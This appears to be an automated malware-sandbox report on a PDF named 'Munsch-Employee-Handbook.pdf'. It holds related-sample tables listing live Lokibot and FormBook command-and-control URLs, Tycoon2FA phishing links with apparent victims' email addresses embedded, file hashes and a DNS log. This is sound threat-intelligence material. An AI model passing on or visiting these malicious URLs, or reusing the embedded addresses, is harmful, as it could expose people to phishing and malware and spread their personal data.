	6nA8ZygZLP.exe	Get hash	malicious	FormBook	Browse	www.rbopisalive.cyou/2dxw/
	UhuGtHUgHf.exe	Get hash	malicious	FormBook	Browse	www.enoughmoney.online/z9gb/
	Bill_of_Lading_20250307_pdf.bat.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sccc/five/fre.php
	Stormwater Works Drawings Spec.js	Get hash	malicious	FormBook	Browse	www.lucynoel6465.shop/jgkl/
	Shipment Delivery No DE0093002-PDF.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/tking3/five/fre.php
	Remittance_CT022024.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/fix/five/fre.php
104.21.64.1	payment copy.exe	Get hash	malicious	FormBook	Browse	www.dramavietsub.net/8lwh/
	Compliance_Review_Documents_COSCO20250307_pdf.bat.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sccc/five/fre.php
	0xHPSESJcg.exe	Get hash	malicious	FormBook	Browse	www.otogel.pro/oi08/?Ezu=HLGOigk8zC7c6l2lrMh01rQ2OJKxivxPRh38Fqcsh+790en3zOTPiNsvxvX68DUiI9Ju&q6A=GbtXjbKPa
	7zKn77RsRX.exe	Get hash	malicious	FormBook	Browse	www.newanthoperso.shop/3nis/
	IBbGrGi4A7.exe	Get hash	malicious	FormBook	Browse	www.rbopisalive.cyou/a669/
	ysWQ4BqQrF.exe	Get hash	malicious	FormBook	Browse	www.play-vanguard-nirvana.xyz/egs9/?mVfp=MTrLPvVhZLm&K8elV=2m/uVQwqKH2EIWlawszTKzvIepBfVH/HI19qzylF05nDLsWuBLn1pb4DiFDzbC4NqmTLwL8cGw==
	TXzf0xX2uq.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/tking3/five/fre.php
	begin.exe	Get hash	malicious	DarkTortilla, FormBook	Browse	www.kdrqcyusevx.info/z84n/
	Payment receipt PO 1437 1_ Payment receipt PO #1437 2.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/fix/five/fre.php
	Payment.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sccc/five/fre.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
smartlead-be-alb-1825251389.ap-southeast-2.elb.amazonaws.com	https://click.sleadtrack.com/link?messageId=%3ce3139971-eaa3-sl42-4446-8ae5-38e7d1952b4d@useknowledgenet.com%3e&url=http://united-buyers-group.jimdosite.com	Get hash	malicious	HTMLPhisher	Browse	3.24.47.181
	http://in.eodcnetworkdirect.com/link?messageId=%3C1ffa719c-b87a-sl35-4bd8-91e3-06f513ec6e0e@eodcnetworkdirect.com%3E&url=//phsdobrasil.ind.br/events/	Get hash	malicious	Unknown	Browse	13.239.89.242
	http://in.reachinghqclay.com/image?messageId=%3C3db08e45-3fdd-sl59-4bf6-b268-52d5152b34a6@findingclay.com%3E&c=E,1,dFcK7dJ6MVz4AwA-kyqf5MYF3Yc6zTjFXV23FPNaKcjPo94dyCQ-JRdjZXGMoLoRMBbtJCJQfOZAg-e6ni0_rm0hwSOwO27r2hTmhVGGbrwfyUI,&typo=1	Get hash	malicious	Unknown	Browse	13.237.176.161
	https://click.sleadtrack.com/link?messageId=%3C53737e61-72f2-sl91-4638-8a30-865472d2f588%40overemployed.info%3E&url=%2F%2FOverApply.com	Get hash	malicious	Unknown	Browse	52.65.217.85
	https://click.sleadtrack.com/link?messageId=%3Csw-5c0a14cd-cb10-49d3-a222-f335b48a40ba%40jaxxhq.com%3E&url=https%3A%2F%2Fmyteamfluence.com%2F%3Futm_source%3Demail	Get hash	malicious	Unknown	Browse	54.153.214.132
	https://click.sleadtrack.com/link?messageId=%3Csw-a1775521-28e3-4943-bd67-4537765f1019@tcmanagementco.com%3E&url=https://www.instagram.com/ChicByAlisonRose	Get hash	malicious	Unknown	Browse	54.206.105.88
	https://click.sleadtrack.com/link?messageId=%3Csw-7d757052-5a33-4966-9b0c-0ea08f32f1ce@groupairlius.org%3E&url=//eleganzzaventanas.com.mx/airplane/562562562562562562562562/562562562562562562562562562562562562562562562562562562562562562562562562/abrown@stepan.com	Get hash	malicious	Unknown	Browse	52.62.246.84
e8652.dscx.akamaiedge.net	doc Pg 2A gmt_5057363908.pdf	Get hash	malicious	HTMLPhisher	Browse	23.192.153.142
	Yasmine Hilal W2, 401(k).pdf	Get hash	malicious	Unknown	Browse	23.192.153.142
	virus.pdf	Get hash	malicious	HTMLPhisher	Browse	92.123.21.129
	Emarine System Contact Update.pdf	Get hash	malicious	HTMLPhisher	Browse	2.19.105.127
	1099-NEC.pdf	Get hash	malicious	RHADAMANTHYS	Browse	23.209.213.129
	1099-NEC.pdf	Get hash	malicious	Unknown	Browse	23.209.209.135
	resume.pdf	Get hash	malicious	Unknown	Browse	23.209.213.129
	f64da42c-e9a8-a0ac-437d-d14377da4643.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	23.209.213.129
	attach.pdf	Get hash	malicious	Unknown	Browse	23.209.213.129
	nZsqQiT9Wr.lnk	Get hash	malicious	Unknown	Browse	2.19.105.127
github.com	AutoHotkey_2.0.19_setup.exe	Get hash	malicious	Unknown	Browse	140.82.121.6
	message__0XSkcQEiS5ehXOfhSk9JKw_geopod_ismtpd_30_.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.4
	https://0q.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.3
	5907483252_.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.4
	MT103__8954724926#U00e2__.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.3
	http://microsoft365online.mdshohelrana.com/access/authorize/vFoOn1l/mdiaz@estrellagalicia.es	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.4
	Play Voicemail Transcription. (387.KB).svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.4
	Install.bat	Get hash	malicious	XWorm	Browse	140.82.121.4
	Datanew.ps1	Get hash	malicious	XWorm	Browse	140.82.121.3
	Install.bat	Get hash	malicious	XWorm	Browse	140.82.121.4
developers.cloudflare.com	Play Voicemail Transcription. (387.KB).svg	Get hash	malicious	HTMLPhisher	Browse	104.16.6.189
	message__0XSkcQEiS5ehXOfhSk9JKw_geopod_ismtpd_30_.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.3.189
	https://0q.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	5907483252_.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	MT103__8954724926#U00e2__.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.4.189
	http://microsoft365online.mdshohelrana.com/access/authorize/8XTmKY/jcabanas@estrellagalicia.es	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	http://microsoft365online.mdshohelrana.com/access/authorize/vFoOn1l/mdiaz@estrellagalicia.es	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	Play Voicemail Transcription. (387.KB).svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://nr2.vesuperw.ru/IDnh/#Dkeyaccount@foster-uk.com	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.5.189
	https://nr2.vesuperw.ru/IDnh/#Dkeyaccount@foster-uk.com	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.16.5.189

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://injuryinsurance.online/	Get hash	malicious	HTMLPhisher	Browse	104.19.229.21
	https://app.me.bot/public/WQVPRYIAILRRZCLB	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	https://app.buildingengines.com/geofire/r/tenant/wo/3337907629?pmoId=441399979&_redirectTo=//click.actmkt.com//s2/001-9d8b5995-11e2-4176-a44d-ac784ffff218/052-1f3d50c8-0ab2-42ca-9d57-414363d82282?enr=naahiaduabyaa4yahiac6abpabraa4qan4agcadeaazaamaagmadsabzaa2aamaafuageadsabxqayiamqac2adqabxqa3qamqac2absaayaayyagiac4abqaa2qayqamyadkabzaa2qanaagaadgadfabtaaziagaadsadgaa3aanqagyagiabwabsaaniagiac4adxabxqa4qanmagkadsabzqalqamqagkadwaaxqa7aaomagqadpabxqa5aanuagkabqaa4aaoiaiaagoadnabqqa2ianqac4addabxqa3iapqadiad4ab6aamaaguadeabnaayqazqagmagiabvaayaayyahaac2abqabqqayqagiac2abuaazaayyameac2abzabsaaniag4ac2abuaayqanaagmadmabtabsaaoaagiadeabyaazaa7aagaadkabzaawqaziagyaggabzaa3aayqaheadaabnaazaayyag4adcabnaa2aamyagyagmabnabraaniaguadgabnabraanqagyagkabrabraazqahaadoaddaa4aayyapqadaabqaayqaliaheagiabyabraaniaheadsabvaawqamiageagkabsaawqanaageadoabwaawqayiagqadiadeaawqayiammadoabyaa2aazqamyagmadgaazaamiahaahyad4abaqa7aa..=TLR&sr=3337907629&subTT=details	Get hash	malicious	HTMLPhisher	Browse	172.67.140.177
	rInstrument_bms_docx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	https://serviceindustrverif.com	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://quinnlawny.online/	Get hash	malicious	HTMLPhisher	Browse	104.21.91.102
	https://www.mylincolnportal.com/customer/public/migration-help	Get hash	malicious	Unknown	Browse	162.247.243.29
	SecuriteInfo.com.W32.PossibleThreat.559.25146.dll	Get hash	malicious	Unknown	Browse	104.26.0.5
	PBB3CEIFOd.exe	Get hash	malicious	RedLine	Browse	172.67.75.172
	947060507.svg	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
CLOUDFLARENETUS	http://injuryinsurance.online/	Get hash	malicious	HTMLPhisher	Browse	104.19.229.21
	https://app.me.bot/public/WQVPRYIAILRRZCLB	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	https://app.buildingengines.com/geofire/r/tenant/wo/3337907629?pmoId=441399979&_redirectTo=//click.actmkt.com//s2/001-9d8b5995-11e2-4176-a44d-ac784ffff218/052-1f3d50c8-0ab2-42ca-9d57-414363d82282?enr=naahiaduabyaa4yahiac6abpabraa4qan4agcadeaazaamaagmadsabzaa2aamaafuageadsabxqayiamqac2adqabxqa3qamqac2absaayaayyagiac4abqaa2qayqamyadkabzaa2qanaagaadgadfabtaaziagaadsadgaa3aanqagyagiabwabsaaniagiac4adxabxqa4qanmagkadsabzqalqamqagkadwaaxqa7aaomagqadpabxqa5aanuagkabqaa4aaoiaiaagoadnabqqa2ianqac4addabxqa3iapqadiad4ab6aamaaguadeabnaayqazqagmagiabvaayaayyahaac2abqabqqayqagiac2abuaazaayyameac2abzabsaaniag4ac2abuaayqanaagmadmabtabsaaoaagiadeabyaazaa7aagaadkabzaawqaziagyaggabzaa3aayqaheadaabnaazaayyag4adcabnaa2aamyagyagmabnabraaniaguadgabnabraanqagyagkabrabraazqahaadoaddaa4aayyapqadaabqaayqaliaheagiabyabraaniaheadsabvaawqamiageagkabsaawqanaageadoabwaawqayiagqadiadeaawqayiammadoabyaa2aazqamyagmadgaazaamiahaahyad4abaqa7aa..=TLR&sr=3337907629&subTT=details	Get hash	malicious	HTMLPhisher	Browse	172.67.140.177
	rInstrument_bms_docx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	https://serviceindustrverif.com	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://quinnlawny.online/	Get hash	malicious	HTMLPhisher	Browse	104.21.91.102
	https://www.mylincolnportal.com/customer/public/migration-help	Get hash	malicious	Unknown	Browse	162.247.243.29
	SecuriteInfo.com.W32.PossibleThreat.559.25146.dll	Get hash	malicious	Unknown	Browse	104.26.0.5
	PBB3CEIFOd.exe	Get hash	malicious	RedLine	Browse	172.67.75.172
	947060507.svg	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
FASTLYUS	https://app.me.bot/public/WQVPRYIAILRRZCLB	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.194.137
	https://ebidxs0lqgtrc1e6kmwrwew9kcjkl3nqg0ud6g8m5kilxdom6s.g8way.io/O-wpvbR0VIDe1sWempQ4ZZLhpjGlCINUUh9hHVDZnXc?email=portugal.reception@daiichi-sankyo.pt	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://crazy-moments.com/	Get hash	malicious	Unknown	Browse	151.101.130.217
	AutoHotkey_2.0.19_setup.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	https://tixplug.com/shop/ad-astra-electronic-dance-experience/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	151.101.1.229
	Play Voicemail Transcription. (387.KB).svg	Get hash	malicious	HTMLPhisher	Browse	151.101.195.6
	message__0XSkcQEiS5ehXOfhSk9JKw_geopod_ismtpd_30_.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.194.137
	https://us-west-2.protection.sophos.com/?d=sharefile.com&u=aHR0cHM6Ly9jcmVhdGlvbmV4cGVydGNvbnRleHQuc2hhcmVmaWxlLmNvbS9wdWJsaWMvc2hhcmUvd2ViLXNiYjE4YjFiNjlkZjY0NGQxOWNiZDkyNDQxZmE4YmY4ZA==&p=m&i=NjFlM2Q3Nzg1MWRjYzUxMDYzZGZjMWJm&t=Y3o0SFFoUlhBWE8vTW4yRnVZK2pjY1ROVXlPWjZQaTkvS3dTbzBGK2VqWT0=&h=49d0e2160a2a448b8a6f586d134eb4ec&s=AVNPUEhUT0NFTkNSWVBUSVb-ZyYz0HfoB4wGEcG7jWDaEb1d95_vnDUxmC1TeuA-XA%20data-linkindex=	Get hash	malicious	Unknown	Browse	151.101.2.217
	https://acrobat.adobe.com/id/urn:aaid:sc:EU:cef22cee-e97f-4efd-9256-9a2eaeaf8ce5	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.129.138
	https://0q.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
CLOUDFLARENETUS	http://injuryinsurance.online/	Get hash	malicious	HTMLPhisher	Browse	104.19.229.21
	https://app.me.bot/public/WQVPRYIAILRRZCLB	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	https://app.buildingengines.com/geofire/r/tenant/wo/3337907629?pmoId=441399979&_redirectTo=//click.actmkt.com//s2/001-9d8b5995-11e2-4176-a44d-ac784ffff218/052-1f3d50c8-0ab2-42ca-9d57-414363d82282?enr=naahiaduabyaa4yahiac6abpabraa4qan4agcadeaazaamaagmadsabzaa2aamaafuageadsabxqayiamqac2adqabxqa3qamqac2absaayaayyagiac4abqaa2qayqamyadkabzaa2qanaagaadgadfabtaaziagaadsadgaa3aanqagyagiabwabsaaniagiac4adxabxqa4qanmagkadsabzqalqamqagkadwaaxqa7aaomagqadpabxqa5aanuagkabqaa4aaoiaiaagoadnabqqa2ianqac4addabxqa3iapqadiad4ab6aamaaguadeabnaayqazqagmagiabvaayaayyahaac2abqabqqayqagiac2abuaazaayyameac2abzabsaaniag4ac2abuaayqanaagmadmabtabsaaoaagiadeabyaazaa7aagaadkabzaawqaziagyaggabzaa3aayqaheadaabnaazaayyag4adcabnaa2aamyagyagmabnabraaniaguadgabnabraanqagyagkabrabraazqahaadoaddaa4aayyapqadaabqaayqaliaheagiabyabraaniaheadsabvaawqamiageagkabsaawqanaageadoabwaawqayiagqadiadeaawqayiammadoabyaa2aazqamyagmadgaazaamiahaahyad4abaqa7aa..=TLR&sr=3337907629&subTT=details	Get hash	malicious	HTMLPhisher	Browse	172.67.140.177
	rInstrument_bms_docx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	https://serviceindustrverif.com	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://quinnlawny.online/	Get hash	malicious	HTMLPhisher	Browse	104.21.91.102
	https://www.mylincolnportal.com/customer/public/migration-help	Get hash	malicious	Unknown	Browse	162.247.243.29
	SecuriteInfo.com.W32.PossibleThreat.559.25146.dll	Get hash	malicious	Unknown	Browse	104.26.0.5
	PBB3CEIFOd.exe	Get hash	malicious	RedLine	Browse	172.67.75.172
	947060507.svg	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2539987192854865
Encrypted:	false
SSDEEP:	6:iOGnKT+q2Pwkn2nKuAl9OmbnIFUtonKVZmwCnKZd3VkwOwkn2nKuAl9OmbjLJ:7GRvYfHAahFUto2/CsF5JfHAaSJ
MD5:	EEBC2D12D653D1AA02FF6034A76B2206
SHA1:	E44362214982962937CEA255B960F2FA120FC574
SHA-256:	92A08D662EBD7D31D31DAA9B01EC2D68882538FA2EBB39261A6CF198A9C7369D
SHA-512:	42D27E26BC7956ECCE5B8421BE6062025DD1E9CE7262F05A24F0D84EA27EB1CEC1D3AAB1ECDEF7DEA99E15236758C104704F6ABBFB5739F85BDDDEC00866769A
Malicious:	false
Reputation:	low
Preview:	2025/03/18-13:14:41.450 1f88 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/03/18-13:14:41.665 1f88 Recovering log #3.2025/03/18-13:14:41.678 1f88 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 36696, version 1.0
Category:	downloaded
Size (bytes):	36696
Entropy (8bit):	7.988666025644622
Encrypted:	false
SSDEEP:	768:lvJo4KciQZYjebVq19lKPtHAQ/l4rj2bqkiHShpeSUOR4OqWOgaU:lhH3rVq1PKP432tSSh4SUORHqWcU
MD5:	A69E9AB8AFDD7486EC0749C551051FF2
SHA1:	C34E6AA327B536FB48D1FE03577A47C7EE2231B8
SHA-256:	FD78A1913DB912221B8EAD1E62FAD47D1FF0A9FA6CD88D3B128A721AD91D2FAF
SHA-512:	9A0E4297282542B8813F9CC85B2CCB09663CE281F64503F9A5284631881DA9AACF7649553BF1423D941F01B97E6BC3BA50AB13E55E4B7B61C5AA0A4ADF4D390F
Malicious:	false
URL:	https://o0o6.bvyunz.ru/GDSherpa-regular.woff
Preview:	wOFF.......X......6........0...(............DSIG...(............GPOS..........^>....GSUB.............3y.OS/2.......F...`h`{Zcmap...........<.?+.cvt .......0...<(...fpgm............?...gasp................glyf.."0..Tl...h...+head..v....4...6..}.hhea..v....!...$...Zhmtx..v........x;...loca..z\|...........tmaxp..~$... ... .-..name..~D.......'....post............1+.,prep.............P..x..\.\|U..Nr.^.......DD.T....V...C....U._.N..k.8.m...h.Q.6q....#....Y4l.}3.@ .............Z_....s.....>RD.....J....wR./...#.,<'f....4b..}(....P..\.s.9'.....-.Q..d..H.@%..K+....4U.4...yx.3..DkfJ..3S.H......\|..........%.B...........W.~..nN<x.?....}jn...W..M.7...?...:-uAjQ.4J.].vm....H{&...y..@....G...~.......x=.V..g.;..@..J.l...G..L... gM..h.....Q!}B...Q.m.M...R.5.JUi..U_5@]..PW...5H.VW.k..:5D].nP#..5V=....x.....W/...E5I...NVS.T.u...^U3._...m5G-P...U...Gj.V..j.Z...j..BJ.._Pw..0..f...q...q5...'.F=MIj.7..^.f."..K\..pHMC.t.W.Z.Bz...l.+.....e\|......B>....1.a,.D.Ej..(.

File type:	PDF document, version 1.4, 1 pages
Entropy (8bit):	7.935998731118712
TrID:	Adobe Portable Document Format (5005/1) 100.00%
File name:	Munsch-Employee-Handbook.pdf
File size:	82'365 bytes
MD5:	a83f14fba9e694d0d7719eac005b848a
SHA1:	d8bfb196f474866d4abf6731f94c2d1a3342e6f8
SHA256:	28630999a2baea010d6fbf435e2140ba0a4f949cb27abd475045b46ab9fae5f8
SHA512:	f77c0abaa772ce19431003a4e8ba3445165d04bbc04bdd9b25311d25d71734dea4c821dcb653cdc5f8959a7fc8d7e1c5bc2a028ced381985b270053f8194e746
SSDEEP:	1536:uWcC18A6B7MvTvGfRwjZ/ZwJw+f+qyvuHUkCoB10S7+umLzVzKVkJ9/PW:h19nvGMKJ6qKuHOoB1TqjLzsVw/PW
TLSH:	2C83D0A4F10FEC2DF991C585C57E798D0D4CB26B65DD2C89013A1F12FA45BE0BB622CA
File Content Preview:	%PDF-1.4.%.....1 0 obj.<</Title (d3299188b8022386c31fe4edb9207123.html)./Creator (Mozilla/5.0 \(Windows NT 10.0; Win64; x64\) AppleWebKit/537.36 \(KHTML, like Gecko\) HeadlessChrome/134.0.0.0 Safari/537.36)./Producer (Skia/PDF m134)./CreationDate (D:20250

General
Header:	%PDF-1.4
Total Entropy:	7.935999
Total Bytes:	82365
Stream Entropy:	7.992549
Stream Bytes:	73717
Entropy outside Streams:	5.122972
Bytes outside Streams:	8648
Number of EOF found:	1
Bytes after EOF:

Name	Count
obj	60
endobj	60
stream	10
endstream	10
xref	1
trailer	1
startxref	1
/Page	1
/Encrypt	0
/ObjStm	0
/URI	0
/JS	0
/JavaScript	0
/AA	0
/OpenAction	0
/AcroForm	0
/JBIG2Decode	0
/RichMedia	0
/Launch	0
/EmbeddedFile	0

ID	DHASH	MD5	Preview
5	0000000000000000	ae5346137a9e9e70ca286f401b6a4d26
10	0000000000000000	0727d55f79d66d4a2436bf53fbdc163e

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 18, 2025 18:14:42.279886007 CET	51411	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:14:42.280292988 CET	62647	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:14:42.289449930 CET	57935	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:14:42.289895058 CET	62173	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:14:42.305542946 CET	53	49412	1.1.1.1	192.168.2.4
Mar 18, 2025 18:14:42.347424984 CET	53	51411	1.1.1.1	192.168.2.4
Mar 18, 2025 18:14:42.352850914 CET	53	57935	1.1.1.1	192.168.2.4
Mar 18, 2025 18:14:42.358016014 CET	53	62173	1.1.1.1	192.168.2.4
Mar 18, 2025 18:14:42.359164953 CET	53	62647	1.1.1.1	192.168.2.4
Mar 18, 2025 18:14:42.362919092 CET	53	65163	1.1.1.1	192.168.2.4
Mar 18, 2025 18:14:44.706921101 CET	53	60023	1.1.1.1	192.168.2.4
Mar 18, 2025 18:14:44.838635921 CET	55266	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:14:44.838813066 CET	60731	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:14:44.848762989 CET	53	55266	1.1.1.1	192.168.2.4
Mar 18, 2025 18:14:44.859117985 CET	53	60731	1.1.1.1	192.168.2.4
Mar 18, 2025 18:14:46.506046057 CET	62912	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:14:46.506226063 CET	58318	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:14:46.514259100 CET	53	58318	1.1.1.1	192.168.2.4
Mar 18, 2025 18:14:46.514297962 CET	53	62912	1.1.1.1	192.168.2.4
Mar 18, 2025 18:14:47.717545986 CET	52607	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:14:47.717732906 CET	60201	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:14:47.718157053 CET	55493	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:14:47.718463898 CET	63397	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:14:47.719330072 CET	60557	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:14:47.719651937 CET	55590	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:14:47.724556923 CET	53	52607	1.1.1.1	192.168.2.4
Mar 18, 2025 18:14:47.726480961 CET	53	60201	1.1.1.1	192.168.2.4
Mar 18, 2025 18:14:47.726494074 CET	53	55493	1.1.1.1	192.168.2.4
Mar 18, 2025 18:14:47.726660967 CET	53	63397	1.1.1.1	192.168.2.4
Mar 18, 2025 18:14:47.727360964 CET	53	60557	1.1.1.1	192.168.2.4
Mar 18, 2025 18:14:47.727371931 CET	53	55590	1.1.1.1	192.168.2.4
Mar 18, 2025 18:14:49.555260897 CET	61452	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:14:49.555521011 CET	59623	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:14:49.564165115 CET	53	61452	1.1.1.1	192.168.2.4
Mar 18, 2025 18:14:49.565093040 CET	53	59623	1.1.1.1	192.168.2.4
Mar 18, 2025 18:14:50.308281898 CET	58186	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:14:50.308437109 CET	61575	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:14:50.319262981 CET	53	58186	1.1.1.1	192.168.2.4
Mar 18, 2025 18:14:50.320347071 CET	53	61575	1.1.1.1	192.168.2.4
Mar 18, 2025 18:14:50.705215931 CET	62912	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:14:50.714514017 CET	53	62912	1.1.1.1	192.168.2.4
Mar 18, 2025 18:14:55.048011065 CET	53	59996	1.1.1.1	192.168.2.4
Mar 18, 2025 18:15:02.026277065 CET	53	64132	1.1.1.1	192.168.2.4
Mar 18, 2025 18:15:12.808413982 CET	53	52547	1.1.1.1	192.168.2.4
Mar 18, 2025 18:15:20.904084921 CET	53	64876	1.1.1.1	192.168.2.4
Mar 18, 2025 18:15:24.951025009 CET	53	57679	1.1.1.1	192.168.2.4
Mar 18, 2025 18:15:33.979718924 CET	138	138	192.168.2.4	192.168.2.255
Mar 18, 2025 18:15:41.781939983 CET	53	51027	1.1.1.1	192.168.2.4
Mar 18, 2025 18:15:44.476383924 CET	53	57764	1.1.1.1	192.168.2.4
Mar 18, 2025 18:15:45.231786013 CET	53	60809	1.1.1.1	192.168.2.4
Mar 18, 2025 18:15:52.808597088 CET	53	57926	1.1.1.1	192.168.2.4
Mar 18, 2025 18:15:55.058686018 CET	53	55415	1.1.1.1	192.168.2.4
Mar 18, 2025 18:16:46.509330988 CET	53	59158	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:14.940613031 CET	59442	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:14.940670013 CET	51806	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:15.033983946 CET	53	59442	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:15.099328041 CET	53	51806	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:16.202121973 CET	59051	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:16.202339888 CET	50890	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:16.337732077 CET	53	59051	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:16.354460955 CET	53	50890	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:17.281232119 CET	57249	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:17.281495094 CET	63515	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:17.296574116 CET	53	57249	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:17.373858929 CET	53	63515	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:18.472430944 CET	58196	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:18.472687960 CET	65485	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:18.479487896 CET	53	65485	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:18.480074883 CET	53	58196	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:19.073673964 CET	62435	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:19.075158119 CET	65199	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:19.075342894 CET	64450	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:19.075459003 CET	58914	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:19.080905914 CET	53	62435	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:19.082056999 CET	53	64450	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:19.082251072 CET	53	58914	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:19.082339048 CET	53	65199	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:20.301879883 CET	62793	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:20.302131891 CET	55384	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:20.305795908 CET	52719	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:20.306005001 CET	59964	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:20.309273005 CET	53	62793	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:20.312179089 CET	53	55384	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:20.331048012 CET	53	59964	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:20.339530945 CET	53	52719	1.1.1.1	192.168.2.4
Mar 18, 2025 18:17:21.366673946 CET	51277	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:21.366918087 CET	62130	53	192.168.2.4	1.1.1.1
Mar 18, 2025 18:17:21.373487949 CET	53	62130	1.1.1.1	192.168.2.4
